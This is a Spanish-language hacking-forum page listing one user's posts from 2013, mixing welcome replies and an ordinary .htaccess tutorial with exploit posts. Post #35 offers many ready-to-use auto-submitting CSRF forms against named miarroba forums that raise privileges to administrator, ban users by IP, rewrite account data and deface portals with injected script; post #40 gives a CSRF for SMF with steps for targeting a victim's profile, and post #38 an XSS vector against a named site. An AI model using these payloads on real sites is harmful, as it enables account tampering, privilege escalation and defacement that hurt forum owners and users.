Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Réplica1

Páginas 1 2 3

#21

Presentaciones y cumpleaños / Re:Buenas a todos

Septiembre 03, 2013, 09:15:35 AM

Bienvenido amigo, espero que te lo pases bien y aportes!

Saludos.

#22

Presentaciones y cumpleaños / Re:Holaa!

Septiembre 03, 2013, 09:13:19 AM

Bienvenido kaway! siéntete bienvenido.

Saludos.

#23

Hacking ShowOff / Re:[XSS Reflejado] pandawill.com

Septiembre 02, 2013, 09:17:48 PM

Buen trabajo!!

Saludos.

#24

Hacking / Re:[Filosofía Hack] - Mitos dismitificados sobre hackers y hacking en general

Agosto 30, 2013, 09:36:23 PM

Wow! excelente crazy muy interesante, y llevas toda la razon.

Saludos.

#25

Presentaciones y cumpleaños / Re:Hola a todos!

Agosto 30, 2013, 03:50:45 PM

Bienvenido al foro! se bienvenido.

Saludos.

#26

Ideas y Sugerencias / Re:[PROPUESTA] Taller de Autoit

Agosto 30, 2013, 02:51:00 PM

No necesitas talleres, ahí mucha información y tutoriales que ya están echos para que puedas aprender, solo es buscar y encontraras muchos.

Aunque si alguien se ofrece a hacerlo, también serviría de mucho.

#27

Bugs y Exploits / Re:Ataques a aplicaciones web

Agosto 30, 2013, 02:17:15 PM

Se ve muy interesante, se está descargando haber si es tan bueno como parece!

Saludos.

#28

Delphi / Re:[Delphi] Creacion de un Joiner

Agosto 29, 2013, 06:33:38 PM

Exelento bro, muy bien explicado

#29

Presentaciones y cumpleaños / Re:Me presento

Agosto 29, 2013, 06:31:47 PM

Bienvenido al foro! espero que te diviertas y aprendas cualquier cosa no dudes en preguntarla

Un saludo.

#30

Python / Re:Golismero 2.0

Agosto 29, 2013, 06:28:46 PM

Interesante, muchas gracias por traerlo ahora mismo lo probare!

Saludos.

#31

Bugs y Exploits / Re:CSRF Raven Botnet

Agosto 28, 2013, 02:33:37 PM

Muy buen csrf, y el detalle de reportarlo muchisimo mejor.

Saludos!

#32

Zona Webmaster / Como usar el .htaccess

Agosto 28, 2013, 10:46:54 AM

¿Qué es un .htaccess?

El .htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Se utiliza para personalizar la configuración de directivas y parámetros definidos en el archivo de configuración principal del alojamiento. Tiene una gran variedad de usos y utilidades que le pueden resultar útiles en su web. En el siguiente tutorial le mostramos algunas de las funciones más utilizadas por el .htaccess.

¿Cómo crear y dónde colocar un fichero .htaccess?

Para crear un fichero .htaccess, abra el bloc de notas e introduzca el código necesario. Guarde el fichero como fichero de texto (.txt), por ejemplo "fichero_htaccess.txt", y súbalo por FTP en la carpeta donde tiene que utilizarse. Una vez en el servidor, modifique el nombre del fichero "fichero_htaccess.txt" por el de ".htaccess".

El .htaccess debe colocarse en el interior de la carpeta donde queremos que tenga efecto. Por ejemplo, si queremos proteger con contraseña una carpeta llamada "privado", colocaremos el .htaccess dentro de la carpeta "privado".

Utilidades comunes del .htaccess

El .htaccess tiene un gran número de utilidades, en este tutorial le mostramos algunas de las utilidades más comunes y cómo debe configurarse en el fichero .htaccess

Control de acceso al sitio

Podemos hacer que, si por alguna razón deseamos denegar el acceso a todos los usuarios o sólo permitir a un cierto grupo de direcciones IP para que tengan acceso a tu sitio.

Para permitir el acceso a tu sitio solo a ciertas IPs:

Código: text

ErrorDocument 403 http://www.mi-url.com
Order deny,allow
Deny from all
Allow from 124.34.48.165
Allow from 102.54.68.123

Las IPs 124.34.48.165 y 102.54.68.123 son las IPs que tendrán acceso a la web.

Denegar el acceso al sitio solo a ciertas IPs:

Código: text

Allow from all
Deny from 145.186.14.122
Deny from 124.15

La IP 145.186.14.122 y la red 124.15.x.x no tendrán acceso a la web.

Control de acceso a carpetas

Un uso muy común del .htaccess es impedir el acceso a algunas carpetas. Puede ser que queramos deshabilitar totalmente el acceso a una carpeta (por ejemplo, una carpeta con librerías de programación que se incluyen en los archivos principales. En este caso sólo los archivos principales accederán a ellos mediante el sistema de archivos, pero no se podrán acceder via web). Bueno, simplemente creamos un archivo .htaccess en esa carpeta que contenga el siguiente codigo si deseamos:

Prohibir o deshabilitar por completo el acceso a una carpeta:

Código: text

#deny all access
deny from all

Permitir el acceso desde una IP específica:

Código: text

#deny all access
deny from all
allow from 212.267.98.14

Permitir el acceso a un rango específico de IPs (forzado mediante la máscara de red):

Código: text

allow from 192.168.0.0/24

Bloquear el acceso a un archivo específico:

Código: text

<Files archivo.html>
Order allow,deny
Deny from all

Listado de carpetas

También podemos utilizar el .htaccess para mostrar el contenido de una carpeta en la estructura de directorios.

Código: text

Options +Indexes

Listado de carpetas, pero no queremos que se nos muestren los iconos por defecto:

Código: text

Options +Indexes
IndexOptions -FancyIndexing

También se podría querer evitar el listado de carpetas:

Código: text

IndexIgnore *

Redirigir web

Si al acceder a su alojamiento, desea redirigir la página a otra:

Código: text

RewriteEngine On
RewriteRule ^(.*)$ http://www.webaredirigir.com/$1 [R=301,L]

Redirigir peticiones a subcarpeta

Si tenemos la web en una subcarpeta diferente de la carpeta "web", podemos redirigir todas las consultas a esta subcarpeta:

Código: text

RewriteEngine on
RewriteCond % ^midominio.com\.com$
RewriteRule (.*) http://www.midominio.com/$1 [R=301,L]
RewriteRule ^$ carpeta [L]

donde:
midominio.com\.com sería, por ejemplo, cdmon\.com.com
carpeta sería, por ejemplo, wordpress

Redirigir peticiones con You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login a You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y a la inversa

Si queremos que nuestra web se vea siempre sin www, añadimos el siguiente código en el .htaccess:

Código: text

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond % !-f
RewriteCond % !-d
RewriteRule . /index.php [L]
RewriteCond % ^www\.midominio.com [NC]
RewriteRule ^(.*)$ http://midominio.com/$1 [L,R=301]
</IfModule>

I al revés, que la web se vea siempre con www:

Código: text

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond % !-f
RewriteCond % !-d
RewriteRule . /index.php [L]
RewriteCond % ^\.midominio.com [NC]
RewriteRule ^(.*)$ http://www.midominio.com/$1 [L,R=301]
</IfModule>

donde:
midominoi.com podría ser, por ejemplo, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Redirigir web amigable con SEO

Si has transferido nombres de dominio o deseas redireccionar a una página específica sin que afecte a los resultados de los motores de búsqueda como Google, utiliza el siguiente código:

Código: text

Redirect 301 /d/nombredelarchivo.html http://www.mi-url.com

Redireccionar el tráfico web

Si lo que deseamos es que si alguien intenta acceder a un archivo en concreto le redirija a otro fichero, podemos utilizar la directiva Redirect:

Código: text

Redirect /fichero.php http://sudominio.com/otros/nuevofichero.php

Redireccionar a conexión segura HTTPS

Si deseamos redireccionar todo nuestro sitio a una conexión segura (HTTPS), esto es muy util si por ejemplo disponemos de un certificado SSL y queremos trabajar con el.

Código: text

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.midominio.com/$1 [R,L]

Redireccionar usuarios para usar HTTPS para una carpeta en particular

Si lo que deseamos es solo redireccionar a una conexión segura (HTTPS) una carpeta en particular en vez de todo el sitio, por ejemplo tenemos una tienda en una carpeta aparte de nuestro sitio, hay que usar el siguiente codigo.

Código: text

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} nombre_de_la_carpeta
RewriteRule ^(.*)$ https://www.midominio.com/nombre_de_la_carpeta/$1 [R,L]

Evitar el hotlinking

El hotlinking consiste en realizar un enlace directo a ficheros, generalmente imágenes y vídeos, que pertenecen a otra web. Esta práctica consume la transferencia del sitio original de la imagen. Para evitar que nos "roben" ancho de banda podemos configurar el .htaccess para impedir el hotlinking. RewriteEngine on

Código: text

# Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?midominio.com/.*$ [NC]

Ahora falta la ultima linea que puede ser para prohibir que contenido no deseamos (se escoje en función de las extensiones de los archivos) que nos cojan:

Código: text

RewriteRule .*\.(jpe?g|gif|bmp|png)$ [L]

O bien esta otra regla que además muestra un archivo (no_robar_ancho_de_banda.gif que debemos haber creado previamente) para advertir que esta imagen esta siendo cogida de nuestro site.

Código: text

RewriteRule .*.(gif|jpg|png)$ http://midominio.com/img/no_robar_ancho_de_banda.gif[nc]

En la última línea ponemos las extensiones de los ficheros que queremos impedir que los enlacen.

Cambiar la pagina por defecto

Puedes hacer que la página indice de tu sitio a mostrar no sea la archiconocida "index". Aquí seteamos "about.html" como página de inicio:

Código: text

#Serve Alternate Default Index Page
DirectoryIndex about.html

Quitar palabras o strings de una URL

Esta opción sirve para evitar que la gente conozca nuestro arbol de rutas de nuestro alojamiento con ello incrementamos la seguridad a la vez que hacemos la dirección más atractiva. En este ejemplo, quitaremos la palabra "category" de nuestras URL.

Es decir: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Agrega este código al final de tu .htaccess

Código: text

RewriteRule ^category/(.+)$ http://www.midominio.com/$1 [R=301,L]

Forzar el cacheo de nuestro sitio

El siguiente snippet no va a incrementar directamente la velocidad de carga del sitio en general, pero sí va a cargar más rápido cuando el mismo usuario vuelva a visitarlo, al enviar un status 304 cuando se pidan elementos que no han sido modificados. Puedes cambiar la frecuencia de cacheo al cambiar el número de segundos (en este ejemplo se da una vez al día):

Código: text

FileETag MTime Size
ExpiresActive on
ExpiresDefault "access plus 86400 seconds"

Mejorar la compatibilidad de los caracteres

Esta opción es para aquellos que no utilizan un juego de caracteres standard reconocido por el servidor, con esta medida evitamos mostrar el famoso error 500.

Código: text

AddDefaultCharset utf-8

Crear URL amigables

Una URL amigable consiste en disfrazar una URL llena de parámetros para que quede más elegante y para ayudar también a tener una mejor posición de la página en los buscadores.

Por ejemplo, carpeta/fichero.php?id=120&idioma=es es una URL no amigable, por lo que la transformaremos en carpeta/fichero/120/es que es más elegante y ayuda al posicionamiento en los buscadores. Es una URL amigable. Con el fichero .htaccess podemos realizar este disfraz para la URL.

Tenemos una carpeta en nuestra web que tiene un fichero al que se le pasan parámetros.

sudominio.com/carpeta/fichero.php?id=25

Entonces, dentro de esta carpeta crearemos un .htaccess con el siguiente código:

Código: text

Options +FollowSymLinks
RewriteEngine on
RewriteRule carpeta/(.*)/(.*).php$ /carpeta/fichero.php?id=$1

En la última línea es donde se realiza el cambio.

(.*) será el parámetro que le pasaremos, $1.

(.*).php$ será el nombre del fichero para "decorar" la URL.

Una vez creado el .htaccess, en el enlace de nuestra web pondremos:

Código: text

<a href="carpeta/25/nombre-del-fichero.php"> Enlace al fichero 25</a>

Por lo tanto, carpeta/25/nombre-del-fichero.php será lo mismo que /carpeta/fichero.php?id=25.

Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos.

#33

Talleres Underc0de / Re:[#1] Taller programacion C#

Agosto 27, 2013, 02:19:20 PM

Muchas gracias CrazyKade y todo los que colaboraron en realizar este estupendo taller yo sinceramente lo aprovechare y intentare aprender todo lo posible.

Saludos.

#34

Presentaciones y cumpleaños / Re:hello world

Agosto 27, 2013, 01:00:25 PM

Bienvenido, un gusto tener gente con tu experiencia por aquí.

Un saludo!

#35

Bugs y Exploits / CSRF'S miarroba forums [By Pekador]

Agosto 27, 2013, 09:39:34 AM

Para cambiar la firma de cualquier foro mi@

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://netpoison.mforos.com/options/" method=post name="csrf1">
<input type="hidden" name="firma" value="Underc0de.org">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

-----------------------------------------------------------------------------------------------------

Este csrf se tarda mas en ejecutarlo ya que por cada palabra lo tienes que subir a un hosting distinto pero sigue valiendo, lo que ara es una vez que alla filtrado esa palabra se redirigira a el otro csrf y se filtraba y así sucesivamente es algo 'molesto' pero sigue valiendo!

lo que hace es filtrar palabras como 'hola' por la palabra que queramos.

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foros.miarroba.es/filtro_palabras.php?id=2099129" method=post name="csrf1">
<input type="hidden" name="original" value="hola">
<input type="hidden" name="filtrada" value="Underc0de.org">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

<?php
header('Location: otrocsrf.com');
?>

---------------------------------------------------------------------------------------------------------------------------

Con este csrf desactivas el avatar o la firma a cualquier usuario permanentemente asta que la vuelvan activar

Firma:

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://netpoison.mforos.com/users/crackme/" method=post name="csrf1">
<input type="hidden" name="tabla_boton" value="Desactivar firma">
<body onload="envio_csrf()">

Avatares:

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://netpoison.mforos.com/users/crackme/" method=post name="csrf1">
<input type="hidden" name="boton" value="Desactivar avatares">
<body onload="envio_csrf()">

------------------------------------------------------------------------------------------------------------------------------

Con este csrf puedes elevarte los privilegios a administrador

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://teamhackworld.mforos.com/users/crackme/" method=post name="csrf1">
<input type="hidden" name="nuevo_nivel" value="999">
<input type="hidden" name="accion" value="Cambiar nivel">
<body onload="envio_csrf()">

-------------------------------------------------------------------------------------------------------------------------------

Esta sirve para crear un subforo nuevo

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foros.miarroba.es/nuevo_subforo.php?id=2099129" method=post name="csrf1">
<input type="hidden" name="forotitulo" value="Underc0de.org">
<input type="hidden" name="forodesc" value="El mejor foro">
<input type="hidden" name="txp" value="100">
<input type="hidden" name="mxp" value="100">
<input type="hidden" name="activacode" value="no">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

---------------------------------------------------------------------------------------------------------------------------

Este csrf cambia los datos generales de tu usuario de mi@, tu nombre real, tu website, intereses, aficiones, firma etc

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://privados.miarroba.es/#!new" method=post name="csrf1">
<input type="hidden" name="homepage" value="www.Underc0de.org">
<input type="hidden" name="nombre" value="Pekador">
<input type="hidden" name="apellidos" value="Revise su seguridad">
<input type="hidden" name="firma" value="Visita Underc0de">
<input type="hidden" name="descripcion" value="CSRF">
<input type="hidden" name="aficiones" value="Underc0de.org">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

--------------------------------------------------------------------------------------------------------------------------

Estos de mi@ tienen mas csrf en sus foros ..., aquí os dejo otro esta vez para banear por ip ¿te cae mal alguien y te sabes su ip? banealo de cualquier foro mi@

para sacar la id del foro, poner /admin despues de la url: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foros.miarroba.es/baneo_ip.php?id=2099129&do=new" method=post name="csrf1">
<input type="hidden" name="text" value="Aquí la ip que quieran banear">
<input type="hidden" name="motivo" value="//**Underc0de.org**//">
<input type="hidden" name="time" value="30">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

-------------------------------------------------------------------------------------------------------------------------------

Buenas aquí os dejo este csrf para mi@ que sirve para cambiar la url del foro, entre otras cosas menos importantes

necesitaremos la id del foro, se consige poniendo /admin despues de la url del foro

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foros.miarroba.es/general.php?id=2099129" method=post name="csrf1">
<input type="hidden" name="titulo" value="Underc0de"> // 
<input type="hidden" name="nombre" value=".org">
<input type="hidden" name="descripcion" value="Underc0de.org">
<input type="hidden" name="categoria" value="10">
<input type="hidden" name="tagsService[]" value="pwned">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

-----------------------------------------------------------------------------------------------------------------------------------

Cambia el nombre de la cuenta de mi@

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://miarroba.es/usuarios/modificar.php" method=post name="csrf1">
<input type="hidden" name="privacidad" value="registrados">
<input type="hidden" name="nick" value="Underc0de">
<input type="hidden" name="pais" value="12">
<input type="hidden" name="provincia" value="192">
<input type="hidden" name="zipcode" value="60155">
<input type="hidden" name="sexo" value="Hombre">
<input type="hidden" name="dia" value="5">
<input type="hidden" name="mes" value="11">
<input type="hidden" name="ano" value="1994">
<input type="hidden" name="boletin" value="si">
<input type="hidden" name="promos" value="si">
<input type="hidden" name="accion" value="update">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

------------------------------------------------------------------------------------------------------------------------------------

Rara defacear el portal de cualquier foro de mi@ claro que tenga el portal activado

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foros.miarroba.es/portal.php?id=2037885&seccion=crear_contenido&tipo=personalizado" method=post name="csrf1">
<input type="hidden" name="titulo" value="Pekador">
<input type="hidden" name="codigo" value="<script>document.documentElement.innerHTML='<iframe width=100% height=100% src=URL DEFACE>';</script>">
<input type="hidden" name="columna" value="2">
<input type="hidden" name="nivelmin" value="0">
<input type="hidden" name="nivelmax" value="0">
<input type="hidden" name="tipo" value="personalizado">
<input type="hidden" name="boton_continuar" value="Continuar">
<body onload="envio_csrf()">

---------------------------------------------------------------------------------------------------------------------------------------

Reportado: Sí, pero el dueño no sabe fixearlas yo le ofrecí mi ayuda y la rechazo.

Y hay muchos mas, esto demuestra la seguridad de esos foro saludos y hasta la próxima.

#36

Hacking ShowOff / Re:XSS - Nutella

Agosto 27, 2013, 08:24:41 AM

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Este ya lo había reportado y publicado yo el 20 de Febrero
Aquí una imagen: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos. ((:

Desconocia que había sido descubierta y reportada por ti, con esto lo que me doy cuenta es que los de nutella no hacen caso a los reportes ya que si desde febrero no lo repararon...

Saludos y perdon!

#37

Bugs y Exploits / Re:[CSRF] [SMF] Cambiar perfil

Agosto 26, 2013, 10:42:01 PM

Muchas gracias por comentar, mañana publicare todos los csrf de foros miarroba que tengo y son bastantes!

Saludos

#38

Hacking ShowOff / XSS - Nutella

Agosto 26, 2013, 10:04:19 PM

Encontre este XSS en la web oficial de nutella..

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

URL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Path: Buscador.
Vector Utilizado: "><script>alert("Pekador Holoscripter")</script>
Autor: Pekador
Reportado: Sí, pero sin respuesta.

#39

Bugs y Exploits / Re:[CSRF] [SMF] Cambiar perfil

Agosto 26, 2013, 09:09:01 PM

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno!
A que versiones de SMF afecta?

Saludos!
ANTRAX

Afectava a la 2.0.4, pero al reportarla la fixearon a las horas y con algunas fallas mas sacaron la 2.0.5.

Ahora para verificar al aceptar usa tu pass y user encryptados en md5 si no me equivoco y se tendria que tener el user y pass, y no tendria sentido ya que tendrias la cuenta y puedes hacerlo manualmente.

- Saludos;)

#40

Bugs y Exploits / [CSRF] [SMF] Cambiar perfil

Agosto 26, 2013, 08:12:44 PM

Hoy os traigo un csrf en SMF.

Esto es importante, en la ultima linea:

Código: text

<input type="hidden" name="u" value="94">

En value, donde pone '94' ahí que poner el numero de perfil de la victima es tan fácil como ir a tu perfil y ir cambiando el ultimo numero asta que encuentres su perfil.

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foro.com/foro/index.php?action=profile;area=forumprofile" method=post name="csrf1">
<input type="hidden" name="avatar_choice" value="none">
<input type="hidden" name="personal_text" value="P3K4D0R">
<input type="hidden" name="bday3" value="6666">
<input type="hidden" name="bday1" value="01">
<input type="hidden" name="bday2" value="12">
<input type="hidden" name="location" value="Mongolia">
<input type="hidden" name="msn" value="[email protected]">
<input type="hidden" name="usertitle" value="Pekador">
<input type="hidden" name="signature" value="Underc0de">
<input type="hidden" name="website_title" value="Underc0de">
<input type="hidden" name="website_url" value="Underc0de.org">
<input type="hidden" name="button_submit" value="Cambiar perfil">
<input type="hidden" name="u" value="94">
<body onload="envio_csrf()">

Reportado: Sí, y fixeado en todas las versiones.

Páginas 1 2 3